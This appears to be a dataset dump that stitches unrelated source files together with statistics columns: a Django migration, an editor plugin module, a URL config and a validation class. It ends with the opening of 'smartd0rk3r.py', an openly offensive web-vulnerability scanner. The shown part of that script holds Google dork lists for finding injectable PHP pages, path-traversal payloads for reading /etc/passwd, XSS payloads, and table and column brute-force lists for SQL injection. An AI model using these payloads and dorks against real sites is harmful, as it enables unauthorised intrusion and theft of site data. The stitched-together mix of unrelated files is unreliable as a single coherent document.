2021-08-10T10:54:51.000Z
|
# Generated by Django 3.2.5 on 2021-08-18 05:15
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('dashboard', '0028_alter_participantrepayment_payment_1'),
]
operations = [
migrations.AddField(
model_name='participantrepayment',
name='pay_mount_1',
field=models.CharField(blank=True, max_length=100, null=True, verbose_name='Nominal Pembayaran Ke 1'),
),
migrations.AddField(
model_name='participantrepayment',
name='pay_mount_2',
field=models.CharField(blank=True, max_length=100, null=True, verbose_name='Nominal Pembayaran Ke 2'),
),
migrations.AddField(
model_name='participantrepayment',
name='pay_mount_3',
field=models.CharField(blank=True, max_length=100, null=True, verbose_name='Nominal Pembayaran Ke 3'),
),
]
| 32.931034
| 114
| 0.636649
| 105
| 955
| 5.609524
| 0.419048
| 0.091681
| 0.117148
| 0.137521
| 0.702886
| 0.702886
| 0.702886
| 0.702886
| 0.402377
| 0.402377
| 0
| 0.049157
| 0.25445
| 955
| 28
| 115
| 34.107143
| 0.77809
| 0.04712
| 0
| 0.409091
| 1
| 0
| 0.23348
| 0.045154
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.045455
| 0
| 0.181818
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
dc41601ab381b12d423ec05c415d61350e7987cf
| 470
|
py
|
Python
|
src/plugins_/cfdocs/__init__.py
|
jcberquist/sublimetext-cfml
|
d1e37202eacbf4dd048f2822b7b9d9a93e8cebcf
|
[
"MIT"
] | 130
|
2016-01-01T18:44:21.000Z
|
2022-03-22T22:42:11.000Z
|
src/plugins_/cfdocs/__init__.py
|
jcberquist/sublimetext-cfml
|
d1e37202eacbf4dd048f2822b7b9d9a93e8cebcf
|
[
"MIT"
] | 139
|
2016-01-07T16:12:35.000Z
|
2021-12-11T03:50:57.000Z
|
src/plugins_/cfdocs/__init__.py
|
jcberquist/sublimetext-cfml
|
d1e37202eacbf4dd048f2822b7b9d9a93e8cebcf
|
[
"MIT"
] | 28
|
2016-01-27T23:03:36.000Z
|
2021-12-14T15:18:12.000Z
|
from .. import plugin
from .cfdocs import (
get_inline_documentation,
get_completion_docs,
get_goto_cfml_file
)
class CFMLPlugin(plugin.CFMLPlugin):
def get_completion_docs(self, cfml_view):
return get_completion_docs(cfml_view)
def get_inline_documentation(self, cfml_view, doc_type):
return get_inline_documentation(cfml_view, doc_type)
def get_goto_cfml_file(self, cfml_view):
return get_goto_cfml_file(cfml_view)
| 24.736842
| 60
| 0.755319
| 65
| 470
| 5.015385
| 0.307692
| 0.147239
| 0.202454
| 0.138037
| 0.128834
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.178723
| 470
| 18
| 61
| 26.111111
| 0.84456
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.230769
| false
| 0
| 0.153846
| 0.230769
| 0.692308
| 0
| 0
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 4
|
dc50df24d0735b5e1db2956cd9adf6d347069c26
| 196
|
py
|
Python
|
onfido/urls.py
|
snicks1/django-onfido
|
7288552c6a156d022539d4d22d7f5a0236018ada
|
[
"MIT"
] | null | null | null |
onfido/urls.py
|
snicks1/django-onfido
|
7288552c6a156d022539d4d22d7f5a0236018ada
|
[
"MIT"
] | null | null | null |
onfido/urls.py
|
snicks1/django-onfido
|
7288552c6a156d022539d4d22d7f5a0236018ada
|
[
"MIT"
] | null | null | null |
# -*- coding: utf-8 -*-
"""onfido urls."""
from django.conf.urls import url
from onfido.views import status_update
urlpatterns = [
url(r'^webhook/$', status_update, name='status_update'),
]
| 19.6
| 60
| 0.678571
| 26
| 196
| 5
| 0.653846
| 0.276923
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.005952
| 0.142857
| 196
| 9
| 61
| 21.777778
| 0.767857
| 0.178571
| 0
| 0
| 0
| 0
| 0.148387
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.4
| 0
| 0.4
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
dc618bed337cd8cd05718408047b500788303816
| 259
|
py
|
Python
|
utils/validation.py
|
Weenkus/on_power_efficient_virtual_network_function_placement_algorithm
|
09621bd083ff13afdfb76a6629478cb16e6c8a9c
|
[
"MIT"
] | 1
|
2019-12-09T17:52:05.000Z
|
2019-12-09T17:52:05.000Z
|
utils/validation.py
|
Weenkus/on_power_efficient_virtual_network_function_placement_algorithm
|
09621bd083ff13afdfb76a6629478cb16e6c8a9c
|
[
"MIT"
] | null | null | null |
utils/validation.py
|
Weenkus/on_power_efficient_virtual_network_function_placement_algorithm
|
09621bd083ff13afdfb76a6629478cb16e6c8a9c
|
[
"MIT"
] | null | null | null |
class Assert(object):
@staticmethod
def is_instance(instance, instances_class):
assert isinstance(instance, instances_class), '{0} should be an instance of class {1}'.format(
instance.__name__, instances_class.__name__
)
| 28.777778
| 102
| 0.683398
| 29
| 259
| 5.689655
| 0.586207
| 0.254545
| 0.266667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.00995
| 0.223938
| 259
| 8
| 103
| 32.375
| 0.810945
| 0
| 0
| 0
| 0
| 0
| 0.147287
| 0
| 0
| 0
| 0
| 0
| 0.333333
| 1
| 0.166667
| false
| 0
| 0
| 0
| 0.333333
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
dc84da74c859794cbc04f5d7aa3e4632d27aed37
| 98,491
|
py
|
Python
|
smartd0rk3r-0.3.py
|
devasia2112/os-scripts
|
d7e7c09afc7b30355b242bdd7c5f40bd30af1a9a
|
[
"MIT",
"CC-BY-3.0",
"BSD-3-Clause"
] | 1
|
2020-03-01T15:36:17.000Z
|
2020-03-01T15:36:17.000Z
|
smartd0rk3r-0.3.py
|
bantu07/kali-script
|
839d7d2cc1935d50c7bb784b1b5a4656fa90ea94
|
[
"MIT",
"CC-BY-3.0",
"BSD-3-Clause"
] | null | null | null |
smartd0rk3r-0.3.py
|
bantu07/kali-script
|
839d7d2cc1935d50c7bb784b1b5a4656fa90ea94
|
[
"MIT",
"CC-BY-3.0",
"BSD-3-Clause"
] | 2
|
2019-05-10T18:39:59.000Z
|
2021-05-15T08:55:50.000Z
|
#!/usr/bin/python
#
# smartd0rk3r.py - a modified darkd0rk3r
# - added dork array
# - added input for number of random dorks
# - added bugfix for over tor (it crashed alot over tor)
# - added optimization, 1 page with 0 results, skip to next dork
# - added extra check for links to comply with target (makes it alot more target-specific)
# put main instructions together, added 12 - new scan option
# - added Column Finder
# - added column and table fuzzer
#
# rewrite done by levi
# Column Finder added by baltazar
# Fuzzer added by baltazar
# mad propz to the original author for making a nice script that was easily modified!!!!
#
# original header:
#
# This was written for educational purpose and pentest only. Use it at your own risk.
# Author will be not responsible for any damage!
# !!! Special greetz for my friend sinner_01 !!!
# Toolname : darkd0rk3r.py
# Coder : baltazar a.k.a b4ltazar < b4ltazar@gmail.com>
# Version : 1.0
# greetz for all members of ex darkc0de.com, ljuska.org
#
import string, sys, time, urllib2, cookielib, re, random, threading, socket, os, subprocess
from random import choice
# Colours
W = "\033[0m";
R = "\033[31m";
G = "\033[32m";
O = "\033[33m";
B = "\033[34m";
# Banner
def logo():
print R+"\n|---------------------------------------------------------------|"
print "| smartd0rk3r.py - a modified darkd0rk3r.py |"
print "| 10/2012 - v.0.3 |"
print "| levi - l3v1athan@tormail.org |"
print "| baltazar - b4ltazar@gmail.com |"
print "| |"
print "|---------------------------------------------------------------|\n"
print W
if sys.platform == 'linux' or sys.platform == 'linux2':
subprocess.call("clear", shell=True)
logo()
else:
subprocess.call("cls", shell=True)
logo()
log = "smartd0rk3r-sqli.txt"
logfile = open(log, "a")
lfi_log = "smartd0rk3r-lfi.txt"
lfi_log_file = open(lfi_log, "a")
rce_log = "smartd0rk3r-rce.txt"
rce_log_file = open(rce_log, "a")
xss_log = "smartd0rk3r-xss.txt"
xss_log_file = open(xss_log, "a")
arg_end = "--"
arg_eva = "+"
colMax = 10 # Change this at your will
gets = 0
file = "/etc/passwd"
threads = []
darkurl = []
vuln = []
col = []
timeout = 60
socket.setdefaulttimeout(timeout)
lfis = ["/etc/passwd%00","../etc/passwd%00","../../etc/passwd%00","../../../etc/passwd%00","../../../../etc/passwd%00","../../../../../etc/passwd%00","../../../../../../etc/passwd%00","../../../../../../../etc/passwd%00","../../../../../../../../etc/passwd%00","../../../../../../../../../etc/passwd%00","../../../../../../../../../../etc/passwd%00","../../../../../../../../../../../etc/passwd%00","../../../../../../../../../../../../etc/passwd%00","../../../../../../../../../../../../../etc/passwd%00","/etc/passwd","../etc/passwd","../../etc/passwd","../../../etc/passwd","../../../../etc/passwd","../../../../../etc/passwd","../../../../../../etc/passwd","../../../../../../../etc/passwd","../../../../../../../../etc/passwd","../../../../../../../../../etc/passwd","../../../../../../../../../../etc/passwd","../../../../../../../../../../../etc/passwd","../../../../../../../../../../../../etc/passwd","../../../../../../../../../../../../../etc/passwd"]
xsses = ["<h1>XSS by baltazar</h1>","%3Ch1%3EXSS%20by%20baltazar%3C/h1%3E"]
tables = ['user','users','tbladmins','Logins','logins','login','admins','members','member', '_wfspro_admin', '4images_users', 'a_admin', 'account', 'accounts', 'adm', 'admin', 'admin_login', 'admin_user', 'admin_userinfo', 'administer', 'administrable', 'administrate', 'administration', 'administrator', 'administrators', 'adminrights', 'admins', 'adminuser','adminusers','article_admin', 'articles', 'artikel','author', 'autore', 'backend', 'backend_users', 'backenduser', 'bbs', 'book', 'chat_config', 'chat_messages', 'chat_users', 'client', 'clients', 'clubconfig', 'company', 'config', 'contact', 'contacts', 'content', 'control', 'cpg_config', 'cpg132_users', 'customer', 'customers', 'customers_basket', 'dbadmins', 'dealer', 'dealers', 'diary', 'download', 'Dragon_users', 'e107.e107_user', 'e107_user', 'forum.ibf_members', 'fusion_user_groups', 'fusion_users', 'group', 'groups', 'ibf_admin_sessions', 'ibf_conf_settings', 'ibf_members', 'ibf_members_converge', 'ibf_sessions', 'icq', 'index', 'info', 'ipb.ibf_members', 'ipb_sessions', 'joomla_users', 'jos_blastchatc_users', 'jos_comprofiler_members', 'jos_contact_details', 'jos_joomblog_users', 'jos_messages_cfg', 'jos_moschat_users', 'jos_users', 'knews_lostpass', 'korisnici', 'kpro_adminlogs', 'kpro_user', 'links', 'login_admin', 'login_admins', 'login_user', 'login_users','logon', 'logs', 'lost_pass', 'lost_passwords', 'lostpass', 'lostpasswords', 'm_admin', 'main', 'mambo_session', 'mambo_users', 'manage', 'manager', 'mb_users','memberlist','minibbtable_users', 'mitglieder', 'mybb_users', 'mysql', 'name', 'names', 'news', 'news_lostpass', 'newsletter', 'nuke_users', 'obb_profiles', 'order', 'orders', 'parol', 'partner', 'partners', 'passes', 'password', 'passwords', 'perdorues', 'perdoruesit', 'phorum_session', 'phorum_user', 'phorum_users', 'phpads_clients', 'phpads_config', 'phpbb_users', 'phpBB2.forum_users', 'phpBB2.phpbb_users', 'phpmyadmin.pma_table_info', 'pma_table_info', 'poll_user', 'punbb_users', 'pwd', 'pwds', 'reg_user', 'reg_users', 'registered', 'reguser', 'regusers', 'session', 'sessions', 'settings', 'shop.cards', 'shop.orders', 'site_login', 'site_logins', 'sitelogin', 'sitelogins', 'sites', 'smallnuke_members', 'smf_members', 'SS_orders', 'statistics', 'superuser', 'sysadmin', 'sysadmins', 'system', 'sysuser', 'sysusers', 'table', 'tables', 'tb_admin', 'tb_administrator', 'tb_login', 'tb_member', 'tb_members', 'tb_user', 'tb_username', 'tb_usernames', 'tb_users', 'tbl', 'tbl_user', 'tbl_users', 'tbluser', 'tbl_clients', 'tbl_client', 'tblclients', 'tblclient', 'test', 'usebb_members','user_admin', 'user_info', 'user_list', 'user_login', 'user_logins', 'user_names', 'usercontrol', 'userinfo', 'userlist', 'userlogins', 'username', 'usernames', 'userrights','vb_user', 'vbulletin_session', 'vbulletin_user', 'voodoo_members', 'webadmin', 'webadmins', 'webmaster', 'webmasters', 'webuser', 'webusers','wp_users', 'x_admin', 'xar_roles', 'xoops_bannerclient', 'xoops_users', 'yabb_settings', 'yabbse_settings', 'Category', 'CategoryGroup', 'ChicksPass', 'dtproperties', 'JamPass', 'News', 'Passwords by usage count', 'PerfPassword', 'PerfPasswordAllSelected','pristup', 'SubCategory', 'tblRestrictedPasswords', 'Ticket System Acc Numbers', 'Total Members', 'UserPreferences', 'tblConfigs', 'tblLogBookAuthor', 'tblLogBookUser', 'tblMails', 'tblOrders', 'tblUser', 'cms_user', 'cms_users', 'cms_admin', 'cms_admins', 'user_name', 'jos_user', 'table_user', 'email', 'mail', 'bulletin', 'login_name', 'admuserinfo', 'userlistuser_list', 'SiteLogin', 'Site_Login', 'UserAdmin']
columns = ['user', 'username', 'password', 'passwd', 'pass', 'cc_number', 'id', 'email', 'emri', 'fjalekalimi', 'pwd', 'user_name', 'customers_email_address', 'customers_password', 'user_password', 'name', 'user_pass', 'admin_user', 'admin_password', 'admin_pass', 'usern', 'user_n', 'users', 'login', 'logins', 'login_user', 'login_admin', 'login_username', 'user_username', 'user_login', 'auid', 'apwd', 'adminid', 'admin_id', 'adminuser', 'adminuserid', 'admin_userid', 'adminusername', 'admin_username', 'adminname', 'admin_name', 'usr', 'usr_n', 'usrname', 'usr_name', 'usrpass', 'usr_pass', 'usrnam', 'nc', 'uid', 'userid', 'user_id', 'myusername', 'mail', 'emni', 'logohu', 'punonjes', 'kpro_user', 'wp_users', 'emniplote', 'perdoruesi', 'perdorimi', 'punetoret', 'logini', 'llogaria', 'fjalekalimin', 'kodi', 'emer', 'ime', 'korisnik', 'korisnici', 'user1', 'administrator', 'administrator_name', 'mem_login', 'login_password', 'login_pass', 'login_passwd', 'login_pwd', 'sifra', 'lozinka', 'psw', 'pass1word', 'pass_word', 'passw', 'pass_w', 'user_passwd', 'userpass', 'userpassword', 'userpwd', 'user_pwd', 'useradmin', 'user_admin', 'mypassword', 'passwrd', 'admin_pwd', 'admin_passwd', 'mem_password', 'memlogin', 'e_mail', 'usrn', 'u_name', 'uname', 'mempassword', 'mem_pass', 'mem_passwd', 'mem_pwd', 'p_word', 'pword', 'p_assword', 'myname', 'my_username', 'my_name', 'my_password', 'my_email', 'korisnicko', 'cvvnumber ', 'about', 'access', 'accnt', 'accnts', 'account', 'accounts', 'admin', 'adminemail', 'adminlogin', 'adminmail', 'admins', 'aid', 'aim', 'auth', 'authenticate', 'authentication', 'blog', 'cc_expires', 'cc_owner', 'cc_type', 'cfg', 'cid', 'clientname', 'clientpassword', 'clientusername', 'conf', 'config', 'contact', 'converge_pass_hash', 'converge_pass_salt', 'crack', 'customer', 'customers', 'cvvnumber', 'data', 'db_database_name', 'db_hostname', 'db_password', 'db_username', 'download', 'e-mail', 'emailaddress', 'full', 'gid', 'group', 'group_name', 'hash', 'hashsalt', 'homepage', 'icq', 'icq_number', 'id_group', 'id_member', 'images', 'index', 'ip_address', 'last_ip', 'last_login', 'lastname', 'log', 'login_name', 'login_pw', 'loginkey', 'loginout', 'logo', 'md5hash', 'member', 'member_id', 'member_login_key', 'member_name', 'memberid', 'membername', 'members', 'new', 'news', 'nick', 'number', 'nummer', 'pass_hash', 'passwordsalt', 'passwort', 'personal_key', 'phone', 'privacy', 'pw', 'pwrd', 'salt', 'search', 'secretanswer', 'secretquestion', 'serial', 'session_member_id', 'session_member_login_key', 'sesskey', 'setting', 'sid', 'spacer', 'status', 'store', 'store1', 'store2', 'store3', 'store4', 'table_prefix', 'temp_pass', 'temp_password', 'temppass', 'temppasword', 'text', 'un', 'user_email', 'user_icq', 'user_ip', 'user_level', 'user_passw', 'user_pw', 'user_pword', 'user_pwrd', 'user_un', 'user_uname', 'user_usernm', 'user_usernun', 'user_usrnm', 'userip', 'userlogin', 'usernm', 'userpw', 'usr2', 'usrnm', 'usrs', 'warez', 'xar_name', 'xar_pass']
sqlerrors = {'MySQL': 'error in your SQL syntax',
'MiscError': 'mysql_fetch',
'MiscError2': 'num_rows',
'Oracle': 'ORA-01756',
'JDBC_CFM': 'Error Executing Database Query',
'JDBC_CFM2': 'SQLServer JDBC Driver',
'MSSQL_OLEdb': 'Microsoft OLE DB Provider for SQL Server',
'MSSQL_Uqm': 'Unclosed quotation mark',
'MS-Access_ODBC': 'ODBC Microsoft Access Driver',
'MS-Access_JETdb': 'Microsoft JET Database',
'Error Occurred While Processing Request' : 'Error Occurred While Processing Request',
'Server Error' : 'Server Error',
'Microsoft OLE DB Provider for ODBC Drivers error' : 'Microsoft OLE DB Provider for ODBC Drivers error',
'Invalid Querystring' : 'Invalid Querystring',
'OLE DB Provider for ODBC' : 'OLE DB Provider for ODBC',
'VBScript Runtime' : 'VBScript Runtime',
'ADODB.Field' : 'ADODB.Field',
'BOF or EOF' : 'BOF or EOF',
'ADODB.Command' : 'ADODB.Command',
'JET Database' : 'JET Database',
'mysql_fetch_array()' : 'mysql_fetch_array()',
'Syntax error' : 'Syntax error',
'mysql_numrows()' : 'mysql_numrows()',
'GetArray()' : 'GetArray()',
'FetchRow()' : 'FetchRow()',
'Input string was not in a correct format' : 'Input string was not in a correct format'}
header = ['Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.10 sun4u; X11)',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2pre) Gecko/20100207 Ubuntu/9.04 (jaunty) Namoroka/3.6.2pre',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser;',
'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)',
'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6)',
'Microsoft Internet Explorer/4.0b1 (Windows 95)',
'Opera/8.00 (Windows NT 5.1; U; en)',
'amaya/9.51 libwww/5.4.0',
'Mozilla/4.0 (compatible; MSIE 5.0; AOL 4.0; Windows 95; c_athome)',
'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)',
'Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Kubuntu)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; ZoomSpider.net bot; .NET CLR 1.1.4322)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; QihooBot 1.0 qihoobot@qihoo.net)',
'Mozilla/4.0 (compatible; MSIE 5.0; Windows ME) Opera 5.11 [en]']
d0rk = [ 'artikelinfo.php?id=', 'index.php?=', 'profile_view.php?id=', 'category.php?id=', 'fellows.php?id=', 'downloads_info.php?id=', 'prod_info.php?id=', 'shop.php?do=part&id=', 'collectionitem.php?id=', 'band_info.php?id=', 'product.php?id=', 'viewshowdetail.php?id=', 'clubpage.php?id=', 'memberInfo.php?id=', 'tradeCategory.php?id=', 'transcript.php?id=', 'item_id=', 'news-full.php?id=', 'aboutbook.php?id=', 'preview.php?id=', 'material.php?id=', 'read.php?id=', 'viewapp.php?id=', 'story.php?id=', 'newsone.php?id=', 'rubp.php?idr=', 'art.php?idm=', 'title.php?id=', 'index1.php?modo=', 'include.php?*[*]*=', 'nota.php?pollname=', 'index3.php?p=', 'padrao.php?pre=', 'home.php?pa=', 'main.php?type=', 'sitio.php?start=', '*.php?include=', 'general.php?xlink=', 'show.php?go=', 'nota.php?ki=', 'down*.php?oldal=', 'layout.php?disp=', 'enter.php?chapter=', 'base.php?incl=', 'enter.php?mod=', 'show.php?corpo=', 'head.php?*[*]*=', 'info.php?strona=', 'template.php?str=', 'main.php?doshow=', 'view.php?*[*]*=', 'index.php?to=', 'page.php?cmd=', 'view.php?b=', 'info.php?option=', 'show.php?x=', 'template.php?texto=', 'index3.php?ir=', 'print.php?chapter=', 'file.php?inc=', 'file.php?cont=', 'view.php?cmd=', 'include.php?chapter=', 'path.php?my=', 'principal.php?param=', 'general.php?menue=', 'index1.php?b=', 'info.php?chapter=', 'nota.php?chapter=', 'readnews.php?id=', 'newsone.php?id=', 'product-item.php?id=', 'pages.php?id=', 'clanek.php4?id=', 'viewapp.php?id=', 'viewphoto.php?id=', 'galeri_info.php?l=', 'iniziativa.php?in=', 'curriculum.php?id=', 'labels.php?id=', 'story.php?id=', 'look.php?ID=', 'aboutbook.php?id=', '"id=" & intext:"Warning: mysql_fetch_assoc()', '"id=" & intext:"Warning: is_writable()', '"id=" & intext:"Warning: Unknown()', '"id=" & intext:"Warning: mysql_result()', '"id=" & intext:"Warning: pg_exec()', '"id=" & intext:"Warning: require()', 'buy.php?category=', 'pageid=', 'page.php?file=', 'show.php?id=', 'newsitem.php?num=', 'readnews.php?id=', 'top10.php?cat=', 'reagir.php?num=', 'Stray-Questions-View.php?num=', 'forum_bds.php?num=', 'game.php?id=', 'view_product.php?id=', 'sw_comment.php?id=', 'news.php?id=', 'avd_start.php?avd=', 'event.php?id=', 'sql.php?id=', 'select_biblio.php?id=', 'ogl_inet.php?ogl_id=', 'fiche_spectacle.php?id=', 'kategorie.php4?id=', 'faq2.php?id=', 'show_an.php?id=', 'loadpsb.php?id=', 'announce.php?id=', 'participant.php?id=', 'download.php?id=', 'article.php?id=', 'person.php?id=', 'productinfo.php?id=', 'showimg.php?id=', 'rub.php?idr=', 'view_faq.php?id=', 'hosting_info.php?id=', 'gery.php?id=', 'rub.php?idr=', 'view_faq.php?id=', 'artikelinfo.php?id=', 'detail.php?ID=', 'index.php?=', 'profile_view.php?id=', 'category.php?id=', 'publications.php?id=', 'fellows.php?id=', 'downloads_info.php?id=', 'prod_info.php?id=', 'shop.php?do=part&id=', 'collectionitem.php?id=', 'band_info.php?id=', 'product.php?id=', 'releases.php?id=', 'ray.php?id=', 'produit.php?id=', 'pop.php?id=', 'shopping.php?id=']
d0rk += [ 'productdetail.php?id=', 'post.php?id=', 'viewshowdetail.php?id=', 'clubpage.php?id=', 'memberInfo.php?id=', 'section.php?id=', 'theme.php?id=', 'page.php?id=', 'shredder-categories.php?id=', 'tradeCategory.php?id=', 'product_ranges_view.php?ID=', 'shop_category.php?id=', 'transcript.php?id=', 'channel_id=', 'item_id=', 'newsid=', 'trainers.php?id=', 'news-full.php?id=', 'news_display.php?getid=', 'index2.php?option=', 'article.php?ID=', 'play_old.php?id=', 'newsitem.php?num=', 'top10.php?cat=', 'historialeer.php?num=', 'reagir.php?num=', 'Stray-Questions-View.php?num=', 'forum_bds.php?num=', 'game.php?id=', 'view_product.php?id=', 'sw_comment.php?id=', 'news.php?id=', 'avd_start.php?avd=', 'event.php?id=', 'sql.php?id=', 'news_view.php?id=', 'select_biblio.php?id=', 'humor.php?id=', 'ogl_inet.php?ogl_id=', 'fiche_spectacle.php?id=', 'communique_detail.php?id=', 'sem.php3?id=', 'kategorie.php4?id=', 'faq2.php?id=', 'show_an.php?id=', 'preview.php?id=', 'loadpsb.php?id=', 'opinions.php?id=', 'spr.php?id=', 'announce.php?id=', 'participant.php?id=', 'download.php?id=', 'main.php?id=', 'review.php?id=', 'chappies.php?id=', 'read.php?id=', 'prod_detail.php?id=', 'article.php?id=', 'person.php?id=', 'productinfo.php?id=', 'showimg.php?id=', 'view.php?id=', 'website.php?id=', 'website.php?id=', 'hosting_info.php?id=', 'gery.php?id=', 'detail.php?ID=', 'publications.php?id=', 'Productinfo.php?id=', 'releases.php?id=', 'ray.php?id=', 'produit.php?id=', 'pop.php?id=', 'shopping.php?id=', 'productdetail.php?id=', 'post.php?id=', 'section.php?id=', 'theme.php?id=', 'page.php?id=', 'shredder-categories.php?id=', 'product_ranges_view.php?ID=', 'shop_category.php?id=', 'channel_id=', 'newsid=', 'news_display.php?getid=', 'ages.php?id=', 'clanek.php4?id=', 'review.php?id=', 'iniziativa.php?in=', 'curriculum.php?id=', 'labels.php?id=', 'look.php?ID=', 'galeri_info.php?l=', 'tekst.php?idt=', 'newscat.php?id=', 'newsticker_info.php?idn=', 'rubrika.php?idr=', 'offer.php?idf=', '"id=" & intext:"Warning: mysql_fetch_array()', '"id=" & intext:"Warning: getimagesize()', '"id=" & intext:"Warning: session_start()', '"id=" & intext:"Warning: mysql_num_rows()', '"id=" & intext:"Warning: mysql_query()', '"id=" & intext:"Warning: array_merge()', '"id=" & intext:"Warning: preg_match()', '"id=" & intext:"Warning: ilesize()', '"id=" & intext:"Warning: filesize()', 'index.php?id=', 'buy.php?category=', 'index.php?page=', 'trainers.php?id=', 'article.php?ID=', 'play_old.php?id=', 'declaration_more.php?decl_id=', 'Pageid=', 'games.php?id=', 'newsDetail.php?id=', 'staff_id=', 'historialeer.php?num=', 'product-item.php?id=', 'news_view.php?id=', 'humor.php?id=', 'communique_detail.php?id=', 'sem.php3?id=', 'opinions.php?id=', 'spr.php?id=', 'pages.php?id=', 'chappies.php?id=', 'prod_detail.php?id=', 'viewphoto.php?id=', 'view.php?id=' ]
d0rk += [ 'general.php?include=', 'start.php?addr=', 'index1.php?qry=', 'index1.php?loc=', 'page.php?addr=', 'index1.php?dir=', 'principal.php?pr=', 'press.php?seite=', 'head.php?cmd=', 'home.php?sec=', 'home.php?category=', 'standard.php?cmd=', 'mod*.php?thispage=', 'base.php?to=', 'view.php?choix=', 'base.php?panel=', 'template.php?mod=', 'info.php?j=', 'blank.php?pref=', 'sub*.php?channel=', 'standard.php?in=', 'general.php?cmd=', 'pagina.php?panel=', 'template.php?where=', 'path.php?channel=', 'gery.php?seccion=', 'page.php?tipo=', 'sitio.php?rub=', 'pagina.php?u=', 'file.php?ir=', '*inc*.php?sivu=', 'path.php?start=', 'page.php?chapter=', 'home.php?recipe=', 'enter.php?pname=', 'layout.php?path=', 'print.php?open=', 'mod*.php?channel=', 'down*.php?phpbb_root_path=', '*inc*.php?str=', 'gery.php?phpbb_root_path=', 'include.php?middlePart=', 'sub*.php?destino=', 'info.php?read=', 'home.php?sp=', 'main.php?strona=', 'sitio.php?get=', 'sitio.php?index=', 'index3.php?option=', 'enter.php?a=', 'main.php?second=', 'print.php?pname=', 'blank.php?itemnav=', 'blank.php?pagina=', 'index1.php?d=', 'down*.php?where=', '*inc*.php?include=', 'path.php?pre=', 'home.php?loader=', 'start.php?eval=', 'index.php?disp=', 'head.php?mod=', 'sitio.php?section=', 'nota.php?doshow=', 'home.php?seite=', 'home.php?a=', 'page.php?url=', 'pagina.php?left=', 'layout.php?c=', 'principal.php?goto=', 'standard.php?base_dir=', 'home.php?where=', 'page.php?sivu=', '*inc*.php?adresa=', 'padrao.php?str=', 'include.php?my=', 'show.php?home=', 'index.php?load=', 'index3.php?rub=', 'sub*.php?str=', 'start.php?index=', 'nota.php?mod=', 'sub*.php?mid=', 'index1.php?*[*]*=', 'pagina.php?oldal=', 'padrao.php?loc=', 'padrao.php?rub=', 'page.php?incl=', 'gery.php?disp=', 'nota.php?oldal=', 'include.php?u=', 'principal.php?pagina=', 'print.php?choix=', 'head.php?filepath=', 'include.php?corpo=', 'sub*.php?action=', 'head.php?pname=', 'press.php?dir=', 'show.php?xlink=', 'file.php?left=', 'nota.php?destino=', 'general.php?module=', 'index3.php?redirect=', 'down*.php?param=', 'default.php?ki=', 'padrao.php?h=', 'padrao.php?read=', 'mod*.php?cont=', 'index1.php?l=', 'down*.php?pr=', 'gery.php?viewpage=', 'template.php?load=', 'nota.php?pr=', 'padrao.php?destino=', 'index2.php?channel=', 'principal.php?opcion=', 'start.php?str=', 'press.php?*[*]*=', 'index.php?ev=', 'pagina.php?pre=', 'nota.php?content=', 'include.php?adresa=', 'sitio.php?t=', 'index.php?sivu=', 'principal.php?q=', 'path.php?ev=', 'print.php?module=', 'index.php?loc=', 'nota.php?basepath=', 'padrao.php?tipo=', 'index2.php?in=', 'principal.php?eval=', 'file.php?qry=', 'info.php?t=', 'enter.php?play=', 'general.php?var=', 'principal.php?s=', 'standard.php?pagina=', 'standard.php?subject=', 'base.php?second=', 'head.php?inc=', 'pagina.php?basepath=', 'main.php?pname=', '*inc*.php?modo=', 'include.php?goto=', 'file.php?pg=', 'head.php?g=', 'general.php?header=', 'start.php?*root*=', 'enter.php?pref=']
